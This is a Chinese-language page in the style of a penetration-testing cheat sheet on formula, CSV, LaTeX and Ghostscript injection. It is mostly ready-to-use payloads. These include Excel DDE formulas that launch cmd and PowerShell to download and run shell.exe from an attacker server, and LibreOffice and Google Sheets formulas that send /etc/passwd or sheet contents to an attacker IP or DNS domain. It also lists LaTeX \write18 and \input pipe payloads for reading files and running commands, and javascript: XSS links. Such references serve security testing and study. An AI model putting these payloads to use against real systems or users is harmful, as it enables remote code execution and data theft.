Formula/CSV/Doc/LaTeX/GhostScript Injection

支持 HackTricks

Formula Injection

Info

如果你的 输入CSV 文件(或任何其他可能会被 Excel 打开的文件)中被 反射,你可能能够放入 Excel 公式,这些公式将在用户 打开文件 或用户 点击 Excel 表格中的某些链接 时被 执行

如今 Excel 会警告(多次) 用户当从 Excel 之外加载某些内容,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

超链接

以下示例非常有用,可以从最终的 Excel 表中提取内容并向任意位置发出请求。但这需要用户点击链接(并接受警告提示)。

以下示例取自 https://payatu.com/csv-injection-basic-to-exploit

想象一下,学生记录管理系统中的安全漏洞通过 CSV 注入攻击被利用。攻击者的主要意图是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序,具体通过在用于学生详细信息的字段中输入有害公式。攻击过程如下:

  1. 注入恶意有效载荷:

  • 攻击者提交学生详细信息表单,但包含一个在电子表格中常用的公式(例如,=HYPERLINK("<malicious_link>","Click here"))。

  • 该公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。

  1. 导出被破坏的数据:

  • 教师在不知情的情况下,使用应用程序的功能将数据导出为 CSV 文件。

  • 当打开 CSV 文件时,仍然包含恶意有效载荷。该有效载荷在电子表格中显示为可点击的超链接。

  1. 触发攻击:

  • 一位教师点击超链接,认为这是学生详细信息的合法部分。

  • 点击后,敏感数据(可能包括电子表格中的详细信息或教师计算机上的信息)被传输到攻击者的服务器。

  1. 记录数据:

  • 攻击者的服务器接收并记录从教师计算机发送的敏感数据。

  • 攻击者可以利用这些数据进行各种恶意目的,进一步危害学生和机构的隐私与安全。

RCE

查看 原始帖子 以获取更多详细信息。

在特定配置或较旧版本的 Excel 中,可以利用名为动态数据交换(DDE)的功能来执行任意命令。要利用此功能,必须启用以下设置:

  • 导航到 文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容,并启用 动态数据交换服务器启动

当打开带有恶意有效载荷的电子表格时(如果用户接受警告),有效载荷将被执行。例如,要启动计算器应用程序,有效载荷将是:

=cmd|' /C calc'!xxx

额外的命令也可以被执行,例如使用 PowerShell 下载并执行一个文件:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc 可以用来读取本地文件并提取数据。以下是一些方法:

  • 从本地 /etc/passwd 文件读取第一行: ='file:///etc/passwd'#$passwd.A1

  • 将读取的数据提取到攻击者控制的服务器: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • 提取多于一行: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS 提取(将读取的数据作为 DNS 查询发送到攻击者控制的 DNS 服务器): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets 提供可以被利用进行 OOB 数据提取的函数:

  • CONCATENATE: 将字符串连接在一起 - =CONCATENATE(A2:E2)

  • IMPORTXML: 从结构化数据类型导入数据 - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: 导入 RSS 或 ATOM 源 - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: 从 HTML 表格或列表导入数据 - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: 从另一个电子表格导入一系列单元格 - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: 将图像插入单元格 - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

通常,互联网上会找到将 LaTeX 代码转换为 PDF 的服务器使用 pdflatex。 该程序使用 3 个主要属性来(不)允许命令执行:

  • --no-shell-escape: 禁用 \write18{command} 结构,即使在 texmf.cnf 文件中启用。

  • --shell-restricted: 与 --shell-escape 相同,但 限制 为一组“安全”的 预定义 **命令(在 Ubuntu 16.04 中,列表在 /usr/share/texmf/web2c/texmf.cnf 中)。

  • --shell-escape: 启用 \write18{command} 结构。该命令可以是任何 shell 命令。出于安全原因,通常不允许此结构。

然而,还有其他方法可以执行命令,因此为了避免 RCE,使用 --shell-restricted 是非常重要的。

Read file

您可能需要使用 [ 或 $ 来调整注入。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

读取单行文件

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

读取多行文件

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

写入文件

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Command execution

命令的输入将被重定向到 stdin,使用临时文件来获取它。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

如果您遇到任何LaTex错误,请考虑使用base64来获取没有坏字符的结果。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

跨站脚本攻击

来自 @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

检查 https://blog.redteam-pentesting.de/2023/ghostscript-overview/

参考文献

支持 HackTricks

Last updated